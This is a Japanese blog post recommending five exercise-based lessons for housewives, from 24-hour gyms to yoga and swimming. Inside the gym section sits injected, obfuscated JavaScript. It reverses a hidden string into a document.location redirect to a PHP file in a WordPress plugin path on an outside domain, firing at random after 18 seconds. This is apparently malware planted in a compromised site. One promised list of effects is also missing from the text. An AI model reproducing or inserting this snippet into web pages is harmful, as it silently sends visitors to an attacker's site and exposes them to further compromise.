主婦の運動に役立つ習い事5選 楽しみながら継続しよう!

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主婦の運動に役立つ習い事5選 楽しみながら継続しよう!

主婦の皆さん、毎日の生活でふとした時に運動不足を実感しませんか?

主婦の運動不足には、習い事が効果的でおすすめ。

運動不足を解消し、健康的な日々を送ることができる習い事をご紹介します。

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主婦の運動 3つのメリット

何か運動しないとな~と思いながらも、日々やることに追われ、運動を習慣づけることはなかなか気合いがいりますよね。

何かきっかけがないと、お尻が重いのが現状。

そんな主婦が運動をすることのメリットは、主に3つあります。

  • 爽快感、ほどよい疲労、で心身健康的になれる
  • 楽しみながら行うことでワクワク、達成感を得られ、日々メリハリが生まれる
  • 習慣的に運動することにより、シェイプアップ効果あり

そこで、主婦が楽しく運動を維持するために効果的なのが「運動系の習い事」なんです。

心身の健康にフォーカスし、通いやすい、続けやすい、親しみやすい習い事を5つピックアップしてみました。

スポーツジム

最近では、24時間オープンのジムをよく見かけるようになりました。

もしかしたら、ご自宅の近くにもあるかもしれませんね。

24時間ジムの特徴を挙げると…

    $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dot”>

  • スタジオレッスンなし
  • 専属のトレーナーさんなし
  • 自分自身でトレーニングを行うマシンジムがメイン

ちょっとだけ身体を動かしたい、というだけでももちろんOK。

マシンの使い方は、スタッフから教えてもらえます。

無料プランを作成してくれるジムもあって、初心者にはうれしいですね。

スポーツクラブは最近お年寄りで混雑していますが、ジムはそうでもないようです。

出勤前と仕事帰りの夕方以外の時間帯は比較的空いていて、狙い目です。

特に、お昼間はスタッフが常駐しているところが多く、丁寧に使い方やトレーニングについて教えてもらえますよ。

オープンキャンペーンでは始めやすい価格設定を行っているジムが多く、始めるにはいい機会かもしれません。

サーキットトレーニング

ジムはちょっと…と敷居が高く感じる方には、サーキットトレーニングがおすすめです。

サーキットトレーニングとは、7つ程度の筋トレ種目を、休憩なしかごく短い休憩を挟みながら継続するトレーニング。

全身の筋力・持久力・心肺機能を総合的に強化するトレーニングで、筋トレと有酸素運動両方の効果を得ることができます。

1回30分以内と短い所要時間なのが魅力!にも関わらず、継続するときちんと効果が出てきます。

主な効果は以下の5つです。

    ピラティス

    ジム通いはちょっと…でも鍛えたい!という方にはピラティスがおすすめです。

    ピラティスはヨガと似ている印象がありますが、実は似て非なるもの。

    ヨガはスピリチュアル面を重視しますが、ピラティスは体の筋肉(インナーマッスル)体幹を強化することを重視していて、継続することで体の変化を実感できます。

    動きはヨガと似てゆっくりしていますが、地味にハードで、かなり汗をかきます。

    特にマシンを使って行うレッスンは、楽しいうえにインナーマッスルを実感でき、短時間でも体の変化を実感できます。

    体験レッスンをされる場合には、マンツーマンで行うと、30分程度でも体が変化するということがわかって面白いですよ。

    ピラティスは、継続することで体が変化していくことを実感し、自分の体に関心を持つようになります。

    ハマると体の変化が楽しくて、通うのをやめられなくなってしまうかもしれません。

    ヨガ

    激しい運動が苦手な人は、ヨガはいかがでしょうか?

    ヨガの本来の目的は「苦痛からの解放=快適で安定した心を作ること」

    呼吸・瞑想を通じ、自分自身と向き合うことで体と気持ちが前向きに変化していき、精神面が安定します。

    ポーズにより、体の歪みが解消し、体全体が引き締まり美しいプロポーションになること。

    加えて、活力に満ちた前向きで穏やかな気持ちを得られることが、ヨガの特徴です。

    少しずつ見た目が変化し、軽やかな雰囲気になってきた職場の同僚に、最近きれいだねと声をかけたところ、「ヨガに行きだした。ハマっている」とのことでした。

    精神面が安定してくることで、外見や雰囲気までも変わるのかと驚きました。

    水泳(プールに入る)

    水中では体にかかる負担が少なく、けがや体を痛める心配があまりありません。

    水中で動くため、大きな抵抗を受けることもあり、カロリー消費も効率的。

    体中の血液循環がよくなることで、体の懲りがほぐれ、むくみ解消にも繋がり、それが全身の疲労回復となります。

    ただ、大人が通える教室がなかなかないのが残念なところ。

    もし、近くに通えるプールがあるなら、とても環境的に恵まれていますよ!

    ぜひ、選択肢として水泳をおすすめします。

    運動で汗をかくと気持ちいい

    以上おすすめの習い事5つ、始められそうなものがありましたか?

    運動で汗をかくと、本当に気持ちいいです。

    落ち込んだとき、考え事が心を占めてしまうとき、運動することで思考が切り替わったり、気を取り直せたりすることが多いのです。

    これは、運動が大嫌いだった私が継続できるようになった、一番大きな理由です。

    体を動かすこと、汗をかくことがストレス解消になることを知りました。

    一度この気持ちよさを知ると、また経験したくなり継続して通えるようになりますよ!

    運動を習慣づけることにより、体も心も軽やかに心身の健康を実感でき、充実感を得られます。

    ストレスフリーで健康的な生活の第一歩!

    まずはご自身の気になる運動から始めてみませんか?

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    twomori

    夫と二人暮らし、昼は派遣でお仕事しています。人生後半が目前になりはじめたことを機に、手に職をつけることに挑戦。web関連もろもろを現在勉強中。  やりたい事をする時間を作るためハウスワークの時短が日々の課題。 上手に手を抜くために、便利・簡単・ラクを毎日追求しています。